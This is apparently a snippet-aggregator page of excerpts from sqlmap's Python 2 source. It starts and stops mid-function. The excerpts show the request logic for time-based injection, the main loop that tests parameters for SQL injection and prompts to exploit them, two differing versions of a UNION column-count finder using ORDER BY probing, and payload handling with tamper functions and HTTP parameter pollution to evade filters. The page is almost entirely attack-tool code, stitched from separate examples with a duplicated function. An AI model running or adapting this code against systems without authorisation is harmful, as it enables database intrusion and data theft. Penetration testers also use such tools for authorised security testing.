                post = getattr(post, UNENCODED_ORIGINAL_VALUE)
            elif urlEncodePost:
                post = urlencode(post, spaceplus=kb.postSpaceToPlus)

        if timeBasedCompare:
            if len(kb.responseTimes) < MIN_TIME_RESPONSES:
                clearConsoleLine()

                if conf.tor:
                    warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
                    warnMsg += "time-based injections because of its high latency time"
                    singleTimeWarnMessage(warnMsg)

                warnMsg = "time-based comparison needs larger statistical "
                warnMsg += "model. Making a few dummy requests, please wait.."
                singleTimeWarnMessage(warnMsg)

                while len(kb.responseTimes) < MIN_TIME_RESPONSES:
                    Connect.queryPage(content=True)

            elif not kb.testMode:
                warnMsg = "it is very important not to stress the network adapter's "
                warnMsg += "bandwidth during usage of time-based payloads"
                singleTimeWarnMessage(warnMsg)

            if not kb.laggingChecked:
                kb.laggingChecked = True

                deviation = stdev(kb.responseTimes)

                if deviation > WARN_TIME_STDEV:
                    kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE

                    warnMsg = "there is considerable lagging "
                    warnMsg += "in connection response(s). Please use as high "
                    warnMsg += "value for option '--time-sec' as possible (e.g. "
                    warnMsg += "10 or more)"
                    logger.critical(warnMsg)

        if conf.safUrl and conf.saFreq > 0:
            kb.queryCounter += 1
            if kb.queryCounter % conf.saFreq == 0:
                Connect.getPage(url=conf.safUrl,
                                cookie=cookie,
                                direct=True,
                                silent=True,
                                ua=ua,
                                referer=referer,
                                host=host)

        start = time.time()

        if kb.nullConnection and not content and not response and not timeBasedCompare:
            noteResponseTime = False

            pushValue(kb.pageCompress)
            kb.pageCompress = False

            if kb.nullConnection == NULLCONNECTION.HEAD:
                method = HTTPMETHOD.HEAD
            elif kb.nullConnection == NULLCONNECTION.RANGE:
                if not auxHeaders:
                    auxHeaders = {}

                auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"

            _, headers, code = Connect.getPage(
                url=uri,
                get=get,
                post=post,
                cookie=cookie,
                ua=ua,
                referer=referer,
                host=host,
                silent=silent,
                method=method,
                auxHeaders=auxHeaders,
                raise404=raise404,
                skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))

            if headers:
                if kb.nullConnection in (
                        NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ
                ) and HTTP_HEADER.CONTENT_LENGTH in headers:
                    pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
                elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
                    pageLength = int(
                        headers[HTTP_HEADER.CONTENT_RANGE]
                        [headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])

            kb.pageCompress = popValue()

        if not pageLength:
            try:
                page, headers, code = Connect.getPage(
                    url=uri,
                    get=get,
                    post=post,
                    cookie=cookie,
                    ua=ua,
                    referer=referer,
                    host=host,
                    silent=silent,
                    method=method,
                    auxHeaders=auxHeaders,
                    response=response,
                    raise404=raise404,
                    ignoreTimeout=timeBasedCompare)
            except MemoryError:
                page, headers, code = None, None, None
                warnMsg = "site returned insanely large response"
                if kb.testMode:
                    warnMsg += " in testing phase. This is a common "
                    warnMsg += "behavior in custom WAF/IDS/IPS solutions"
                singleTimeWarnMessage(warnMsg)

        if conf.secondOrder:
            page, headers, code = Connect.getPage(
                url=conf.secondOrder,
                cookie=cookie,
                ua=ua,
                silent=silent,
                auxHeaders=auxHeaders,
                response=response,
                raise404=False,
                ignoreTimeout=timeBasedCompare,
                refreshing=True)

        threadData.lastQueryDuration = calculateDeltaSeconds(start)

        kb.originalCode = kb.originalCode or code

        if kb.testMode:
            kb.testQueryCount += 1

        if timeBasedCompare:
            return wasLastResponseDelayed()
        elif noteResponseTime:
            kb.responseTimes.append(threadData.lastQueryDuration)

        if not response and removeReflection:
            page = removeReflectiveValues(page, payload)

        kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "",
                                          re.I) is not None
        kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "",
                                      re.I) is not None

        if content or response:
            return page, headers

        if getRatioValue:
            return comparison(page,
                              headers,
                              code,
                              getRatioValue=False,
                              pageLength=pageLength), comparison(
                                  page,
                                  headers,
                                  code,
                                  getRatioValue=True,
                                  pageLength=pageLength)
        else:
            return comparison(page, headers, code, getRatioValue, pageLength)
Пример #30
0
def start():
    """
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = "you did not edit the configuration file properly, set "
        errMsg += "the target URL, list of targets or google dork"
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:

            if conf.checkInternet:
                infoMsg = "[INFO] checking for Internet connection"
                logger.info(infoMsg)

                if not checkInternet():
                    warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
                    dataToStdout(warnMsg)

                    while not checkInternet():
                        dataToStdout('.')
                        time.sleep(5)

                    dataToStdout("\n")

            conf.url = targetUrl
            conf.method = targetMethod.upper() if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]):
                for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = "SQL injection vulnerability has already been detected "
                    message += "against '%s'. Do you want to skip " % conf.hostname
                    message += "further tests involving it? [Y/n]"

                    kb.skipVulnHost = readInput(message, default='Y', boolean=True)

                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = "skipping '%s'" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms and conf.method:
                    message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl)
                else:
                    message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl)

                if conf.cookie:
                    message += "\nCookie: %s" % conf.cookie

                if conf.data is not None:
                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")

                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
                        continue

                    message += "\ndo you want to test this form? [Y/n/q] "
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        continue
                    elif choice == 'Q':
                        break
                    else:
                        if conf.method != HTTPMETHOD.GET:
                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data

                        else:
                            if targetUrl.find("?") > -1:
                                firstPart = targetUrl[:targetUrl.find("?")]
                                secondPart = targetUrl[targetUrl.find("?") + 1:]
                                message = "Edit GET data [default: %s]: " % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = "%s?%s" % (firstPart, test)

                        parseTargetUrl()

                else:
                    message += "\ndo you want to test this URL? [Y/n/q]"
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        dataToStdout(os.linesep)
                        continue
                    elif choice == 'Q':
                        break

                    infoMsg = "testing URL '%s'" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
                continue

            checkWaf()

            if conf.identifyWaf:
                identifyWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
                and (kb.injection.place is None or kb.injection.parameter is None):

                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = conf.parameters.keys()

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and conf.level < 3)
                    skip |= (place == PLACE.REFERER and conf.level < 3)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and conf.level < 5)

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and conf.level < 2)

                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))

                    if skip:
                        continue

                    if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.testParameter:
                            pass

                        elif parameter == conf.rParam:
                            testSqlInj = False

                            infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
                            testSqlInj = False

                            infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif parameter == conf.csrfToken:
                            testSqlInj = False

                            infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter)
                                logger.warn(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                check = heuristicCheckSqlInjection(place, parameter)

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
                                        infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = "testing for SQL injection on %s " % paramType
                                infoMsg += "parameter '%s'" % parameter
                                logger.info(infoMsg)

                                injection = checkSqlInjection(place, parameter, value)
                                proceed = not kb.endDetection
                                injectable = False

                                if getattr(injection, "place", None) is not None:
                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
                                        kb.falsePositives.append(injection)
                                    else:
                                        injectable = True

                                        kb.injections.append(injection)

                                        # In case when user wants to end detection phase (Ctrl+C)
                                        if not proceed:
                                            break

                                        msg = "%s parameter '%s' " % (injection.place, injection.parameter)
                                        msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "

                                        if not readInput(msg, default='N', boolean=True):
                                            proceed = False
                                            paramKey = (conf.hostname, conf.path, None, None)
                                            kb.testedParams.add(paramKey)

                                if not injectable:
                                    warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter)
                                    warnMsg += "injectable"
                                    logger.warn(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = "no parameter(s) found for testing in the provided data "
                    errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = "all tested parameters do not appear to be injectable."

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += " Try to increase values for '--level'/'--risk' options "
                        errMsg += "if you wish to perform more tests."

                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
                        errMsg += " Rerun without providing the option '--technique'."

                    if not conf.textOnly and kb.originalPage:
                        percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += " You can give it a go with the switch '--text-only' "
                            errMsg += "if the target page has a low percentage "
                            errMsg += "of textual content (~%.2f%% of " % percent
                            errMsg += "page content is text)."
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += " Please retry with the switch '--text-only' "
                            errMsg += "(along with --technique=BU) as this case "
                            errMsg += "looks like a perfect candidate "
                            errMsg += "(low textual content along with inability "
                            errMsg += "of comparison engine to detect at least "
                            errMsg += "one dynamic parameter)."

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += " As heuristic test turned out positive you are "
                        errMsg += "strongly advised to continue on with the tests."

                    if conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
                        errMsg += "exclusively True responses."
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
                        errMsg += "does not match exclusively True responses."

                    if not conf.tamper:
                        errMsg += " If you suspect that there is some kind of protection mechanism "
                        errMsg += "involved (e.g. WAF) maybe you could try to use "
                        errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = "do you want to exploit this SQL injection? [Y/n] "
                    condition = readInput(message, default='Y', boolean=True)
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = "user aborted in multiple target mode"
                logger.warn(warnMsg)

                message = "do you want to skip to the next target in list? [Y/n/q]"
                choice = readInput(message, default='Y').upper()

                if choice == 'N':
                    return False
                elif choice == 'Q':
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapSkipTargetException:
            pass

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException, ex:
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
                _saveToResultsFile()

                errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
                logger.error(errMsg.lstrip(", "))
            else:
                logger.critical(errMsg)
                return False

        finally:
Пример #31
0
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    def _orderByTechnique():
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
            return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)

        if _orderByTest(1) and not _orderByTest(randomInt()):
            infoMsg = "ORDER BY technique seems to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
            infoMsg += "of query columns. Automatically extending the "
            infoMsg += "range for current UNION query injection technique test"
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1, ORDER_BY_STEP
            found = None
            while not found:
                if _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    pushValue(kb.errorIsNone)
    items, ratios = [], []
    kb.errorIsNone = False
    lowerCount, upperCount = conf.uColsStart, conf.uColsStop

    if lowerCount == 1:
        found = kb.orderByColumns or _orderByTechnique()
        if found:
            kb.orderByColumns = found
            infoMsg = "target url appears to have %d column%s in query" % (found, 's' if found > 1 else "")
            singleTimeLogMessage(infoMsg)
            return found

    if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
        upperCount = lowerCount + MIN_UNION_RESPONSES

    min_, max_ = MAX_RATIO, MIN_RATIO
    pages = {}

    for count in xrange(lowerCount, upperCount + 1):
        query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        if not isNullValue(kb.uChar):
            pages[count] = page
        ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
        ratios.append(ratio)
        min_, max_ = min(min_, ratio), max(max_, ratio)
        items.append((count, ratio))

    if not isNullValue(kb.uChar):
        for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
            contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()]
            if len(filter(lambda x: x[1], contains)) == 1:
                retVal = filter(lambda x: x[1], contains)[0][0]
                break

    if not retVal:
        ratios.pop(ratios.index(min_))
        ratios.pop(ratios.index(max_))

        minItem, maxItem = None, None

        for item in items:
            if item[1] == min_:
                minItem = item
            elif item[1] == max_:
                maxItem = item

        if all(map(lambda x: x == min_ and x != max_, ratios)):
            retVal = maxItem[0]

        elif all(map(lambda x: x != min_ and x == max_, ratios)):
            retVal = minItem[0]

        elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                deviation = stdev(ratios)
                lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

                if min_ < lower:
                    retVal = minItem[0]

                if max_ > upper:
                    if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                        retVal = maxItem[0]

    kb.errorIsNone = popValue()

    if retVal:
        infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
        singleTimeLogMessage(infoMsg)

    return retVal
Пример #32
0
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    @stackedmethod
    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None

        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
            infoMsg = "'ORDER BY' technique appears to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
            infoMsg += "of query columns. Automatically extending the "
            infoMsg += "range for current UNION query injection technique test"
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
            found = None
            while not found:
                if not conf.uCols and _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    try:
        pushValue(kb.errorIsNone)
        items, ratios = [], []
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

        if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols):  # ORDER BY is not bullet-proof
            found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
            if found:
                kb.orderByColumns = found
                infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
                singleTimeLogMessage(infoMsg)
                return found

        if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
            upperCount = lowerCount + MIN_UNION_RESPONSES

        min_, max_ = MAX_RATIO, MIN_RATIO
        pages = {}

        for count in xrange(lowerCount, upperCount + 1):
            query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
            payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            if not isNullValue(kb.uChar):
                pages[count] = page
            ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
            ratios.append(ratio)
            min_, max_ = min(min_, ratio), max(max_, ratio)
            items.append((count, ratio))

        if not isNullValue(kb.uChar):
            for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")):
                contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None]
                if len(contains) == 1:
                    retVal = contains[0]
                    break

        if not retVal:
            if min_ in ratios:
                ratios.pop(ratios.index(min_))
            if max_ in ratios:
                ratios.pop(ratios.index(max_))

            minItem, maxItem = None, None

            for item in items:
                if item[1] == min_:
                    minItem = item
                elif item[1] == max_:
                    maxItem = item

            if all(_ == min_ and _ != max_ for _ in ratios):
                retVal = maxItem[0]

            elif all(_ != min_ and _ == max_ for _ in ratios):
                retVal = minItem[0]

            elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                    deviation = stdev(ratios)

                    if deviation is not None:
                        lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

                        if min_ < lower:
                            retVal = minItem[0]

                        if max_ > upper:
                            if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                                retVal = maxItem[0]
    finally:
        kb.errorIsNone = popValue()

    if retVal:
        infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg))

    return retVal
Пример #33
0
    def queryPage(
        value=None,
        place=None,
        content=False,
        getRatioValue=False,
        silent=False,
        method=None,
        timeBasedCompare=False,
        noteResponseTime=True,
        auxHeaders=None,
        response=False,
        raise404=None,
        removeReflection=True,
    ):
        """
        This method calls a function to get the target URL page content
        and returns its page MD5 hash or a boolean value in case of
        string match check ('--string' command line parameter)
        """

        if conf.direct:
            return direct(value, content)

        get = None
        post = None
        cookie = None
        ua = None
        referer = None
        host = None
        page = None
        pageLength = None
        uri = None
        code = None

        if not place:
            place = kb.injection.place or PLACE.GET

        if not auxHeaders:
            auxHeaders = {}

        raise404 = place != PLACE.URI if raise404 is None else raise404

        value = agent.adjustLateValues(value)
        payload = agent.extractPayload(value)
        threadData = getCurrentThreadData()

        if conf.httpHeaders:
            headers = dict(conf.httpHeaders)
            contentType = max(
                headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()
            )

            if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode:
                kb.postUrlEncode = False
                conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType]
                contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
                conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))

        if payload:
            if kb.tamperFunctions:
                for function in kb.tamperFunctions:
                    payload = function(payload=payload, headers=auxHeaders)
                    if not isinstance(payload, basestring):
                        errMsg = "tamper function '%s' returns " % function.func_name
                        errMsg += "invalid payload type ('%s')" % type(payload)
                        raise SqlmapValueException(errMsg)

                value = agent.replacePayload(value, payload)

            logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload))

            if place == PLACE.CUSTOM_POST and kb.postHint:
                if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                    # payloads in SOAP/XML should have chars > and < replaced
                    # with their HTML encoded counterparts
                    payload = payload.replace(">", "&gt;").replace("<", "&lt;")
                elif kb.postHint == POST_HINT.JSON:
                    if payload.startswith('"') and payload.endswith('"'):
                        payload = json.dumps(payload[1:-1])
                    else:
                        payload = json.dumps(payload)[1:-1]
                elif kb.postHint == POST_HINT.JSON_LIKE:
                    payload = (
                        payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
                    )
                    if payload.startswith('"') and payload.endswith('"'):
                        payload = json.dumps(payload[1:-1])
                    else:
                        payload = json.dumps(payload)[1:-1]
                    payload = (
                        payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"')
                    )
                value = agent.replacePayload(value, payload)
            else:
                # GET, POST, URI and Cookie payload needs to be throughly URL encoded
                if (
                    place in (PLACE.GET, PLACE.URI, PLACE.COOKIE)
                    and not conf.skipUrlEncode
                    or place in (PLACE.POST, PLACE.CUSTOM_POST)
                    and kb.postUrlEncode
                ):
                    payload = urlencode(payload, "%", False, place != PLACE.URI)  # spaceplus is handled down below
                    value = agent.replacePayload(value, payload)

            if conf.hpp:
                if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
                    warnMsg = "HTTP parameter pollution should work only against "
                    warnMsg += "ASP(.NET) targets"
                    singleTimeWarnMessage(warnMsg)
                if place in (PLACE.GET, PLACE.POST):
                    _ = re.escape(PAYLOAD_DELIMITER)
                    match = re.search("(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value)
                    if match:
                        payload = match.group("value")

                        for splitter in (urlencode(" "), " "):
                            if splitter in payload:
                                prefix, suffix = (
                                    ("*/", "/*") if splitter == " " else (urlencode(_) for _ in ("*/", "/*"))
                                )
                                parts = payload.split(splitter)
                                parts[0] = "%s%s" % (parts[0], suffix)
                                parts[-1] = "%s%s=%s%s" % (
                                    DEFAULT_GET_POST_DELIMITER,
                                    match.group("name"),
                                    prefix,
                                    parts[-1],
                                )
                                for i in xrange(1, len(parts) - 1):
                                    parts[i] = "%s%s=%s%s%s" % (
                                        DEFAULT_GET_POST_DELIMITER,
                                        match.group("name"),
                                        prefix,
                                        parts[i],
                                        suffix,
                                    )
                                payload = "".join(parts)

                        for splitter in (urlencode(","), ","):
                            payload = payload.replace(
                                splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))
                            )

                        value = agent.replacePayload(value, payload)
                else:
                    warnMsg = "HTTP parameter pollution works only with regular "
                    warnMsg += "GET and POST parameters"
                    singleTimeWarnMessage(warnMsg)

        if place:
            value = agent.removePayloadDelimiters(value)

        if PLACE.GET in conf.parameters:
            get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value

        if PLACE.POST in conf.parameters:
